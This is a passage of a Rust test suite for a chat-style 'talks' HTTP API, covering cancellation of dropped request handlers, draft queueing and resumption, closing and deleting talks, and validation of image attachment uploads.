16031        assert_eq!(turns[0]["who"], "operator");
16032        assert_eq!(turns[0]["body"], "what does the queue module do?");
16033        assert_eq!(
16034            queued["thinking"], true,
16035            "the accepted response exposes the background turn claim: {queued}"
16036        );
16037
16038        let mut turns_after = 1;
16039        for _ in 0..SETTLE_STEPS {
16040            let detail = f.get(&format!("/api/talks/{id}")).await.json();
16041            turns_after = detail["turns"].as_array().expect("turns array").len();
16042            if turns_after == 2 {
16043                break;
16044            }
16045            tokio::time::sleep(Duration::from_millis(10)).await;
16046        }
16047        assert_eq!(turns_after, 2, "the agent's reply eventually lands");
16048    }
16049
16050    /// A phone that reloads mid-request drops `talk_say`'s whole handler
16051    /// future without warning - see `TalkTurnGuard`'s doc. The bug this
16052    /// guards against: `talk::record` used to return, and only *then* did the
16053    /// handler make a second, separate disk round trip before spawning the
16054    /// agent's reply task. A future dropped in that gap left a message
16055    /// recorded on disk with no reply task ever started and no way back short
16056    /// of a fresh message - and the gap was not even the whole story: *any*
16057    /// `.await` in this handler, including the very first one, is a point
16058    /// where a drop can land after the awaited work already finished but
16059    /// before this handler's own code resumes to act on it. `record` now
16060    /// runs inside the task `tokio::spawn` hands to the runtime before this
16061    /// handler ever awaits anything of its own again, so there is nothing
16062    /// left in *this* handler's future for a disconnect to interrupt between
16063    /// the message landing on disk and the reply task starting.
16064    ///
16065    /// A real socket disconnect cannot be relied on to land in the old gap
16066    /// from a test - over loopback, `talk_say` typically finishes before the
16067    /// kernel even reports the peer gone. `JoinHandle::abort` reproduces the
16068    /// same failure mode directly: it drops the task's future at whatever
16069    /// point it has reached, exactly what axum does to the handler future,
16070    /// without needing to win a real network race. Sweeping the delay before
16071    /// aborting samples a range of points the task's execution can be at,
16072    /// including where the old code sat waiting on its second disk round
16073    /// trip - confirmed by reverting this fix locally and watching this same
16074    /// sweep catch a talk stuck with the operator's turn recorded and no
16075    /// reply ever following.
16076    #[tokio::test]
16077    async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
16078        let tmp = TempDir::new().expect("tempdir");
16079        let repo = tmp.path().join("repo");
16080        std::fs::create_dir_all(&repo).expect("repo dir");
16081        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
16082        let home = TempDir::new().expect("temp home");
16083        let talks = Talks::at(home.path().join("talks"));
16084        let ui = Arc::new(
16085            Ui::new(
16086                Queue::at(home.path().join("queue")),
16087                Questions::at(home.path().join("questions")),
16088                talks.clone(),
16089                home.path().join("runs"),
16090                home.path().to_path_buf(),
16091                repo.clone(),
16092            )
16093            .with_worktrees_root(home.path().join("wt")),
16094        );
16095        let cfg = config_for(&repo).await.expect("discover config");
16096
16097        for delay in 0..40u32 {
16098            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
16099            let id = talk.id.clone();
16100
16101            let handler = tokio::spawn(talk_say(
16102                State(Arc::clone(&ui)),
16103                Path(id.clone()),
16104                Ok(Json(NewTalkTurn {
16105                    reply_to: None,
16106                    text: "what does the queue module do?".to_owned(),
16107                    attachments: Vec::new(),
16108                })),
16109            ));
16110            tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
16111            handler.abort();
16112            // Wait out the abort so the next iteration's talk does not race
16113            // this one's still-unwinding turn guard.
16114            let _ = handler.await;
16115
16116            let mut turns = 0;
16117            for _ in 0..SETTLE_STEPS {
16118                if let Ok(fresh) = talks.get(&id) {
16119                    turns = fresh.turns.len();
16120                    if turns != 1 {
16121                        break;
16122                    }
16123                }
16124                tokio::time::sleep(Duration::from_millis(10)).await;
16125            }
16126            assert_ne!(
16127                turns, 1,
16128                "delay {delay}: talk {id} recorded the operator's turn but \
16129                 the agent never answered - the reply task was never \
16130                 started after the handler future was dropped"
16131            );
16132        }
16133    }
16134
16135    /// The same drop, landing on `talk_say`'s other durable write.
16136    ///
16137    /// When a turn is already running, the busy branch persists the
16138    /// operator's text as a queued draft and then reclaims the turn slot if
16139    /// the holder gave it up in the meantime - and whoever reclaims owes that
16140    /// draft a `drain_loop`. `blocking` runs its closure on `spawn_blocking`,
16141    /// which finishes whether or not the future awaiting it is still there,
16142    /// so a handler dropped at that `.await` used to leave the draft written
16143    /// to disk with the reclaimed guard dropped unread and no drainer ever
16144    /// started: the message sat queued until some unrelated later `say`
16145    /// happened to pick it up.
16146    ///
16147    /// This used to drive the handler future by hand, polling it a fixed
16148    /// number of times to park it at the `.await` where it asks for the turn
16149    /// and finds it busy, before the reclaim's slot-free case could be set up
16150    /// underneath it. That assumed a fixed number of polls lands at a fixed
16151    /// `.await` - which is not true: `blocking` awaits a `spawn_blocking`
16152    /// `JoinHandle`, and a `JoinHandle` already finished resolves in a single
16153    /// poll, so any number of this handler's several `blocking` awaits can
16154    /// collapse into one poll under load, landing the drive somewhere other
16155    /// than intended - including, occasionally, straight past the handler's
16156    /// own completion, which made polling it again panic with "async fn
16157    /// resumed after completion". No poll count fixes that; the handler's
16158    /// progress simply is not something a caller outside it can observe by
16159    /// counting.
16160    ///
16161    /// [`BusyQueueGate`] replaces the poll count with a real stop point
16162    /// inside the write itself, so the interleaving under test is pinned by
16163    /// an event instead of a guess: the gate fires only once the handler has
16164    /// actually decided `Busy` and is about to persist the draft, and it
16165    /// blocks that write until the test lets it through. Between those two
16166    /// moments the test drains the turn the handler found busy - through
16167    /// `drain_loop`, the protocol's other half - and then aborts the handler
16168    /// task outright, the same way axum drops a disconnected request's
16169    /// future. The write, and the reclaim it may do, run to completion
16170    /// regardless: they live in the `tokio::spawn` task the busy branch hands
16171    /// to the runtime before ever touching the gate, wholly independent of
16172    /// whether the handler that started it is still around - which is what
16173    /// this test is actually checking. A drainer other than that reclaim
16174    /// cannot exist here: the test's own `drain_loop` call happens before the
16175    /// gate opens, so it runs while the queue is still empty and hands the
16176    /// turn straight back rather than draining anything, closing off the
16177    /// possibility of the final assertion passing without the reclaim ever
16178    /// having done its job.
16179    #[tokio::test]
16180    async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
16181        let tmp = TempDir::new().expect("tempdir");
16182        let repo = tmp.path().join("repo");
16183        std::fs::create_dir_all(&repo).expect("repo dir");
16184        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
16185        let home = TempDir::new().expect("temp home");
16186        let talks = Talks::at(home.path().join("talks"));
16187        let ui = Arc::new(
16188            Ui::new(
16189                Queue::at(home.path().join("queue")),
16190                Questions::at(home.path().join("questions")),
16191                talks.clone(),
16192                home.path().join("runs"),
16193                home.path().to_path_buf(),
16194                repo.clone(),
16195            )
16196            .with_worktrees_root(home.path().join("wt")),
16197        );
16198        let cfg = config_for(&repo).await.expect("discover config");
16199        // Both waits guard against hangs, not slow filesystem or Git work on
16200        // a loaded test host. The gates and lock polls assert the ordering.
16201        let hang_guard = Duration::from_secs(30);
16202
16203        for attempt in 0..3u32 {
16204            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
16205            let id = talk.id.clone();
16206            // A turn is already running, which is what sends `talk_say` down
16207            // the busy branch.
16208            let turn_guard = ui
16209                .begin_talk_turn(&id)
16210                .expect("claim the turn")
16211                .expect("a fresh talk owes nobody a turn");
16212
16213            let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
16214            let (release_tx, release_rx) = std::sync::mpsc::channel();
16215            ui.set_busy_queue_gate(BusyQueueGate {
16216                reached: reached_tx,
16217                release: release_rx,
16218            });
16219
16220            let handler = tokio::spawn(talk_say(
16221                State(Arc::clone(&ui)),
16222                Path(id.clone()),
16223                Ok(Json(NewTalkTurn {
16224                    reply_to: None,
16225                    text: "what does the queue module do?".to_owned(),
16226                    attachments: Vec::new(),
16227                })),
16228            ));
16229
16230            // Wait for the busy branch to actually reach the gate, rather
16231            // than for any fixed number of polls of anything - a bounded
16232            // wait rather than a bare `.await` so a regression that never
16233            // reaches the gate fails the test instead of hanging it.
16234            tokio::time::timeout(hang_guard, reached_rx)
16235                .await
16236                .unwrap_or_else(|_| {
16237                    panic!(
16238                        "attempt {attempt}: talk {id} never reached the busy branch's queue write"
16239                    )
16240                })
16241                .expect("the busy branch dropped the gate without using it");
16242            assert!(
16243                crate::chat_worker::try_publication_guard(&talks, &id)
16244                    .expect("publication fence")
16245                    .is_none(),
16246                "a queued worker cannot promote text before its successor reservation is published"
16247            );
16248
16249            // A listener replacement queues its writer behind this accepted
16250            // mutation. Even disconnecting the HTTP caller must not release
16251            // admission before the write-to-worker handoff has completed.
16252            let closing = Arc::clone(&ui.admissions).write_owned();
16253            tokio::pin!(closing);
16254            std::future::poll_fn(|cx| {
16255                assert!(closing.as_mut().poll(cx).is_pending());
16256                std::task::Poll::Ready(())
16257            })
16258            .await;
16259            assert!(
16260                ui.begin_admission().is_err(),
16261                "replacement blocks later admissions"
16262            );
16263
16264            // The turn that was running now finishes and gives the slot up
16265            // the way a real one does - through `drain_loop`, which finds
16266            // nothing queued yet (the write is still held at the gate) and
16267            // releases. The handler, parked inside `spawn_blocking` on the
16268            // other side of the gate, still believes the talk is busy -
16269            // exactly the interleaving the reclaim exists for.
16270            let running = talks.get(&id).expect("reload talk");
16271            drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
16272
16273            // Drop the handler future now, the way a reloading phone drops
16274            // it: suspended waiting on the busy branch's answer, having
16275            // itself made no more progress since it handed the write off.
16276            handler.abort();
16277            let _ = handler.await;
16278            std::future::poll_fn(|cx| {
16279                assert!(
16280                    closing.as_mut().poll(cx).is_pending(),
16281                    "HTTP cancellation must not abandon a publishing transaction"
16282                );
16283                std::task::Poll::Ready(())
16284            })
16285            .await;
16286            assert!(
16287                crate::chat_worker::try_publication_guard(&talks, &id)
16288                    .expect("publication fence after disconnect")
16289                    .is_none()
16290            );
16291
16292            // Only now let the gated write proceed. It persists the draft
16293            // and reclaims the now-free slot from inside the task the busy
16294            // branch already spawned - unaffected by the handler's abort
16295            // above, since that task was independent of the handler's own
16296            // future from the moment it was spawned.
16297            release_tx.send(()).expect("busy queue write still gated");
16298            drop(
16299                tokio::time::timeout(hang_guard, closing)
16300                    .await
16301                    .unwrap_or_else(|_| {
16302                        panic!("attempt {attempt}: talk {id} did not release admission after the queue gate opened")
16303                    }),
16304            );
16305            assert!(
16306                crate::chat_worker::try_publication_guard(&talks, &id)
16307                    .expect("publication fence after acknowledgement")
16308                    .is_some(),
16309                "the publication fence is not retained by the long response"
16310            );
16311
16312            // A settled talk: the draft drained into an operator turn and
16313            // answered.
16314            let mut fresh = talks.get(&id).expect("reload talk");
16315            for _ in 0..SETTLE_STEPS {
16316                if fresh.pending.is_empty() && fresh.turns.len() == 2 {
16317                    break;
16318                }
16319                tokio::time::sleep(Duration::from_millis(10)).await;
16320                fresh = talks.get(&id).expect("reload talk");
16321            }
16322            assert!(
16323                fresh.pending.is_empty() && fresh.turns.len() == 2,
16324                "attempt {attempt}: talk {id} left the operator's text queued \
16325                 with no drainer - the reclaimed turn was dropped along with \
16326                 the handler future (pending {:?}, {} turns)",
16327                fresh.pending,
16328                fresh.turns.len()
16329            );
16330        }
16331    }
16332
16333    #[tokio::test]
16334    async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
16335        let (_tmp, _repo, f) = talk_fixture().await;
16336        let id = f.post("/api/talks", None).await.json()["id"]
16337            .as_str()
16338            .expect("id")
16339            .to_owned();
16340        let store = f.talks();
16341        let mut recovered = store.get(&id).expect("opened talk");
16342        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
16343            .expect("persist pending draft without a live turn");
16344
16345        let edited = f
16346            .post(
16347                &format!("/api/talks/{id}/pending/edit"),
16348                Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
16349            )
16350            .await;
16351        assert_eq!(edited.status, 200, "{}", edited.body);
16352        assert!(edited.json()["thinking"].as_bool().unwrap());
16353
16354        let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
16355        for _ in 0..SETTLE_STEPS {
16356            if detail["turns"].as_array().expect("turns").len() == 2 {
16357                break;
16358            }
16359            tokio::time::sleep(Duration::from_millis(10)).await;
16360            detail = f.get(&format!("/api/talks/{id}")).await.json();
16361        }
16362        let turns = detail["turns"].as_array().expect("turns");
16363        assert_eq!(
16364            turns.len(),
16365            2,
16366            "the recovered draft must run once: {detail}"
16367        );
16368        assert_eq!(turns[0]["body"], "corrected");
16369        assert_eq!(detail["pending"], "");
16370    }
16371
16372    #[tokio::test]
16373    async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
16374        let tmp = TempDir::new().expect("tempdir");
16375        let repo = tmp.path().join("repo");
16376        std::fs::create_dir_all(&repo).expect("repo dir");
16377        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
16378        let f = Fixture::with_repo(repo).await;
16379        let id = f.post("/api/talks", None).await.json()["id"]
16380            .as_str()
16381            .expect("id")
16382            .to_owned();
16383        let store = f.talks();
16384        let mut recovered = store.get(&id).expect("opened talk");
16385        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
16386            .expect("persist pending draft without a live turn");
16387
16388        let refused = f
16389            .post(
16390                &format!("/api/talks/{id}/say"),
16391                Some(r#"{"text":"new message"}"#),
16392            )
16393            .await;
16394        assert_eq!(refused.status, 409, "{}", refused.body);
16395        assert!(refused.body.contains("resume"), "{}", refused.body);
16396        let saved = store.get(&id).expect("draft remains after refusal");
16397        assert!(saved.turns.is_empty());
16398        assert_eq!(saved.pending, "saved before restart");
16399
16400        let say_path = format!("/api/talks/{id}/say");
16401        let (first, second) = tokio::join!(
16402            f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
16403            f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
16404        );
16405        assert_eq!(first.status, 409, "{}", first.body);
16406        assert_eq!(second.status, 409, "{}", second.body);
16407        let saved = store
16408            .get(&id)
16409            .expect("draft remains after concurrent refusals");
16410        assert!(saved.turns.is_empty());
16411        assert_eq!(saved.pending, "saved before restart");
16412
16413        let resumed = f
16414            .post(&format!("/api/talks/{id}/pending/resume"), None)
16415            .await;
16416        assert_eq!(resumed.status, 202, "{}", resumed.body);
16417        let duplicate = f
16418            .post(&format!("/api/talks/{id}/pending/resume"), None)
16419            .await;
16420        assert_eq!(duplicate.status, 409, "{}", duplicate.body);
16421
16422        for _ in 0..SETTLE_STEPS {
16423            if store.get(&id).expect("talk").turns.len() == 2 {
16424                break;
16425            }
16426            tokio::time::sleep(Duration::from_millis(10)).await;
16427        }
16428        let finished = store.get(&id).expect("finished talk");
16429        assert_eq!(finished.turns.len(), 2, "{finished:?}");
16430        assert_eq!(finished.turns[0].body, "saved before restart");
16431        assert!(finished.pending.is_empty());
16432    }
16433
16434    #[tokio::test]
16435    async fn an_image_only_recovered_draft_resumes_without_text() {
16436        let (_tmp, _repo, f) = talk_fixture().await;
16437        let id = f.post("/api/talks", None).await.json()["id"]
16438            .as_str()
16439            .expect("id")
16440            .to_owned();
16441        let uploaded = f
16442            .post_bytes(
16443                &format!("/api/talks/{id}/attachments"),
16444                &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
16445                PNG_BYTES,
16446            )
16447            .await;
16448        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
16449        let attachment = f
16450            .talks()
16451            .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
16452            .expect("attachment metadata")
16453            .expect("stored attachment");
16454        let store = f.talks();
16455        let mut recovered = store.get(&id).expect("opened talk");
16456        talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
16457
16458        let resumed = f
16459            .post(&format!("/api/talks/{id}/pending/resume"), None)
16460            .await;
16461        assert_eq!(resumed.status, 202, "{}", resumed.body);
16462        for _ in 0..SETTLE_STEPS {
16463            if store.get(&id).expect("talk").turns.len() == 2 {
16464                break;
16465            }
16466            tokio::time::sleep(Duration::from_millis(10)).await;
16467        }
16468        let finished = store.get(&id).expect("finished talk");
16469        assert_eq!(finished.turns.len(), 2, "{finished:?}");
16470        assert!(finished.turns[0].body.is_empty());
16471        assert_eq!(finished.turns[0].attachments.len(), 1);
16472        assert!(finished.pending_attachments.is_empty());
16473    }
16474
16475    #[tokio::test]
16476    async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
16477        let (_tmp, _repo, f) = talk_fixture().await;
16478        let id = f.post("/api/talks", None).await.json()["id"]
16479            .as_str()
16480            .expect("id")
16481            .to_owned();
16482        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
16483        assert_eq!(closed.status, 200, "{}", closed.body);
16484        let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
16485            .expect("serialize closed talk");
16486        for (path, body) in [
16487            (format!("/api/talks/{id}/pending/resume"), None),
16488            (
16489                format!("/api/talks/{id}/pending/clear"),
16490                Some(r#"{"expected_text":"","expected_attachments":[]}"#),
16491            ),
16492            (
16493                format!("/api/talks/{id}/pending/edit"),
16494                Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
16495            ),
16496            (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
16497        ] {
16498            let response = f.post(&path, body).await;
16499            assert_eq!(response.status, 409, "{}", response.body);
16500        }
16501        let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
16502            .expect("serialize closed talk");
16503        assert_eq!(
16504            after_clear, before_clear,
16505            "clear must not rewrite a closed talk"
16506        );
16507    }
16508
16509    /// Keeps both claims observable long enough to exercise the distinction
16510    /// between one busy talk and a globally locked Chat surface.
16511    const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 3 && printf ok\"]\n";
16512
16513    #[tokio::test]
16514    async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
16515        let tmp = TempDir::new().expect("tempdir");
16516        let repo = tmp.path().join("repo");
16517        std::fs::create_dir_all(&repo).expect("repo dir");
16518        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
16519        let f = Fixture::with_repo(repo).await;
16520        let id_a = f.post("/api/talks", None).await.json()["id"]
16521            .as_str()
16522            .unwrap()
16523            .to_owned();
16524        let id_b = f.post("/api/talks", None).await.json()["id"]
16525            .as_str()
16526            .unwrap()
16527            .to_owned();
16528
16529        let a = f
16530            .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
16531            .await;
16532        assert_eq!(a.status, 202, "{}", a.body);
16533        assert_eq!(a.json()["thinking"], true);
16534        let b = f
16535            .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
16536            .await;
16537        assert_eq!(b.status, 202, "{}", b.body);
16538        assert_eq!(b.json()["thinking"], true);
16539
16540        let listed = f.get("/api/talks").await.json();
16541        for id in [&id_a, &id_b] {
16542            let view = listed
16543                .as_array()
16544                .unwrap()
16545                .iter()
16546                .find(|talk| talk["id"] == *id)
16547                .unwrap();
16548            assert_eq!(view["thinking"], true, "{listed}");
16549        }
16550        let repeated = f
16551            .post(
16552                &format!("/api/talks/{id_a}/say"),
16553                Some(r#"{"text":"again"}"#),
16554            )
16555            .await;
16556        assert_eq!(repeated.status, 202, "{}", repeated.body);
16557        assert_eq!(repeated.json()["pending"], "again");
16558    }
16559
16560    /// Bytes `sniffed_mime` recognises as `image/png` - the signature plus a
16561    /// few more, since real uploads are never exactly eight bytes.
16562    const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
16563
16564    #[tokio::test]
16565    async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
16566        let f = Fixture::start().await;
16567        let id = seed_talk(&f, "20260905-000000-a1b2", "open");
16568
16569        let res = f
16570            .post_bytes(
16571                &format!("/api/talks/{id}/attachments"),
16572                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
16573                PNG_BYTES,
16574            )
16575            .await;
16576        assert_eq!(res.status, 201, "{}", res.body);
16577        let body = res.json();
16578        assert_eq!(body["name"], "shot.png");
16579        assert_eq!(body["mime"], "image/png");
16580        assert_eq!(body["bytes"], PNG_BYTES.len());
16581        let att_id = body["id"].as_str().expect("id").to_owned();
16582        assert_eq!(
16583            att_id.len(),
16584            32,
16585            "the id must never be a client-suppliable path: {att_id}"
16586        );
16587
16588        let got = f
16589            .get(&format!("/api/talks/{id}/attachments/{att_id}"))
16590            .await;
16591        assert_eq!(got.status, 200, "{}", got.body);
16592        assert_eq!(got.header("content-type"), Some("image/png"));
16593        assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
16594        assert_eq!(got.bytes, PNG_BYTES);
16595    }
16596
16597    #[tokio::test]
16598    async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
16599        let f = Fixture::start().await;
16600        let id = seed_talk(&f, "20260905-000000-c3d4", "open");
16601
16602        // SVG can carry a `<script>`, so it is never on the whitelist even
16603        // though it is a real IANA image type.
16604        let svg = f
16605            .post_bytes(
16606                &format!("/api/talks/{id}/attachments"),
16607                &[("Content-Type", "image/svg+xml")],
16608                b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
16609            )
16610            .await;
16611        assert!(
16612            (400..500).contains(&svg.status),
16613            "svg must be refused: {} {}",
16614            svg.status,
16615            svg.body
16616        );
16617        assert!(svg.body.contains("SVG"), "{}", svg.body);
16618
16619        let text = f
16620            .post_bytes(
16621                &format!("/api/talks/{id}/attachments"),
16622                &[("Content-Type", "text/plain")],
16623                b"just some text",
16624            )
16625            .await;
16626        assert!(
16627            (400..500).contains(&text.status),
16628            "an unlisted type must be refused: {} {}",
16629            text.status,
16630            text.body
16631        );
16632
16633        // The declared type is a real png, but the size check runs before
16634        // the bytes are even looked at.
16635        let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
16636        let big = f
16637            .post_bytes(
16638                &format!("/api/talks/{id}/attachments"),
16639                &[("Content-Type", "image/png")],
16640                &oversized,
16641            )
16642            .await;
16643        assert_eq!(
16644            big.status,
16645            StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
16646            "{}",
16647            big.body
16648        );
16649    }
16650
16651    #[tokio::test]
16652    async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
16653        let f = Fixture::start().await;
16654        let id = seed_talk(&f, "20260905-000000-d4e5", "open");
16655
16656        // A whitelisted `Content-Type`, but bytes that are not actually a
16657        // png - the declared header alone is never trusted.
16658        let res = f
16659            .post_bytes(
16660                &format!("/api/talks/{id}/attachments"),
16661                &[("Content-Type", "image/png")],
16662                b"<html>not a picture</html>",
16663            )
16664            .await;
16665        assert!((400..500).contains(&res.status), "{}", res.body);
16666    }
16667
16668    #[tokio::test]
16669    async fn an_unknown_attachment_id_is_a_404() {
16670        let f = Fixture::start().await;
16671        let id = seed_talk(&f, "20260905-000000-e5f6", "open");
16672
16673        let res = f
16674            .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
16675            .await;
16676        assert_eq!(res.status, 404, "{}", res.body);
16677    }
16678
16679    #[tokio::test]
16680    async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
16681        let f = Fixture::start().await;
16682        let id = seed_talk(&f, "20260905-000000-f6a7", "open");
16683
16684        let uploaded = f
16685            .post_bytes(
16686                &format!("/api/talks/{id}/attachments"),
16687                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
16688                PNG_BYTES,
16689            )
16690            .await;
16691        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
16692        let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
16693
16694        let res = f
16695            .post(
16696                &format!("/api/talks/{id}/say"),
16697                Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
16698            )
16699            .await;
16700        assert_eq!(res.status, 202, "{}", res.body);
16701        let queued = res.json();
16702        let turns = queued["turns"].as_array().expect("turns array");
16703        assert_eq!(
16704            turns.len(),
16705            1,
16706            "an empty body with an attachment is still a turn: {queued}"
16707        );
16708        assert_eq!(turns[0]["who"], "operator");
16709        assert_eq!(turns[0]["body"], "");
16710        let atts = turns[0]["attachments"]
16711            .as_array()
16712            .expect("attachments array");
16713        assert_eq!(atts.len(), 1);
16714        assert_eq!(atts[0]["id"], att_id);
16715        assert_eq!(atts[0]["mime"], "image/png");
16716
16717        // Not only in the response: `record` flushes to disk before the
16718        // agent's own turn is even spawned.
16719        let on_disk = f.talks().get(&id).expect("get");
16720        assert_eq!(on_disk.turns[0].attachments.len(), 1);
16721        assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
16722    }
16723
16724    #[tokio::test]
16725    async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
16726        let f = Fixture::start().await;
16727        let id = seed_talk(&f, "20260905-000000-a7b8", "open");
16728
16729        let res = f
16730            .post(
16731                &format!("/api/talks/{id}/say"),
16732                Some(&format!(
16733                    r#"{{"text":"hi","attachments":["{}"]}}"#,
16734                    "a".repeat(32)
16735                )),
16736            )
16737            .await;
16738        assert!((400..500).contains(&res.status), "{}", res.body);
16739        assert!(res.body.contains("unknown attachment"), "{}", res.body);
16740
16741        let on_disk = f.talks().get(&id).expect("get");
16742        assert!(
16743            on_disk.turns.is_empty(),
16744            "a rejected attachment id must not partially record the turn: {:?}",
16745            on_disk.turns
16746        );
16747    }
16748
16749    #[tokio::test]
16750    async fn talk_close_makes_the_talk_refuse_further_turns() {
16751        let f = Fixture::start().await;
16752        let id = seed_talk(&f, "20260904-014455-cd34", "open");
16753
16754        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
16755        assert_eq!(closed.status, 200, "{}", closed.body);
16756        assert_eq!(closed.json()["status"], "closed");
16757
16758        // Idempotent: closing an already-closed talk is not an error.
16759        let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
16760        assert_eq!(closed_again.status, 200);
16761        assert_eq!(closed_again.json()["status"], "closed");
16762
16763        let said = f
16764            .post(
16765                &format!("/api/talks/{id}/say"),
16766                Some(r#"{"text":"too late"}"#),
16767            )
16768            .await;
16769        assert_eq!(said.status, 409, "{}", said.body);
16770    }
16771
16772    #[tokio::test]
16773    async fn talk_close_refuses_pending_input_with_conflict_and_preserves_it() {
16774        let f = Fixture::start().await;
16775        let id = seed_talk(&f, "20260904-014455-cd34", "open");
16776        let store = f.talks();
16777        let mut queued = store.get(&id).expect("talk");
16778        for automatic in [false, true] {
16779            if automatic {
16780                talk::queue_once(&mut queued, &store, "automatic notice", "notice-key")
16781                    .expect("queue automatic input");
16782            } else {
16783                talk::queue(&mut queued, &store, "queued send", Vec::new())
16784                    .expect("queue operator input");
16785            }
16786            let before = serde_json::to_value(store.get(&id).expect("queued talk")).unwrap();
16787            let refused = f.post(&format!("/api/talks/{id}/close"), None).await;
16788            assert_eq!(refused.status, 409, "{}", refused.body);
16789            assert!(refused.body.contains("pending input"), "{}", refused.body);
16790            assert_eq!(
16791                serde_json::to_value(store.get(&id).expect("preserved talk")).unwrap(),
16792                before,
16793                "a close refusal must preserve the entire record"
16794            );
16795            talk::clear_pending(&mut queued, &store).expect("clear saved input");
16796        }
16797        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
16798        assert_eq!(closed.status, 200, "{}", closed.body);
16799        assert_eq!(closed.json()["status"], "closed");
16800    }
16801
16802    #[tokio::test]
16803    async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
16804        let (_tmp, _repo, f) = talk_fixture().await;
16805        let id = f.post("/api/talks", None).await.json()["id"]
16806            .as_str()
16807            .expect("id")
16808            .to_owned();
16809        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
16810        assert_eq!(closed.status, 200, "{}", closed.body);
16811
16812        let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
16813        assert_eq!(reopened.status, 200, "{}", reopened.body);
16814        assert_eq!(reopened.json()["status"], "open");
16815
16816        // Idempotent: reopening an already-open talk is not an error.
16817        let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
16818        assert_eq!(reopened_again.status, 200);
16819        assert_eq!(reopened_again.json()["status"], "open");
16820
16821        let said = f
16822            .post(
16823                &format!("/api/talks/{id}/say"),
16824                Some(r#"{"text":"still there?"}"#),
16825            )
16826            .await;
16827        assert_eq!(
16828            said.status, 202,
16829            "a reopened talk accepts turns again: {}",
16830            said.body
16831        );
16832    }
16833
16834    #[tokio::test]
16835    async fn talk_reopen_on_an_unknown_id_is_404() {
16836        let f = Fixture::start().await;
16837        let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
16838        assert_eq!(res.status, 404, "{}", res.body);
16839    }
16840
16841    #[tokio::test]
16842    async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
16843        let f = Fixture::start().await;
16844        let id = seed_talk(&f, "20260904-014455-ef56", "closed");
16845
16846        let deleted = f.delete(&format!("/api/talks/{id}")).await;
16847        assert_eq!(deleted.status, 204, "{}", deleted.body);
16848
16849        let after = f.get(&format!("/api/talks/{id}")).await;
16850        assert_eq!(after.status, 404, "{}", after.body);
16851
16852        let listed = f.get("/api/talks").await.json();
16853        assert!(
16854            listed.as_array().unwrap().iter().all(|t| t["id"] != id),
16855            "a deleted talk must not linger in the list: {listed}"
16856        );
16857    }
16858
16859    #[tokio::test]
16860    async fn talk_delete_on_an_unknown_id_is_404() {
16861        let f = Fixture::start().await;
16862        let res = f.delete("/api/talks/nonexistent-id").await;
16863        assert_eq!(res.status, 404, "{}", res.body);
16864    }
16865
16866    /// A task's page lists every run it ever had, in order, and says what kind
16867    /// of attempt each was - including a resume, which re-pushes the same run
16868    /// id, and a run whose record this build cannot read.
16869    #[tokio::test]
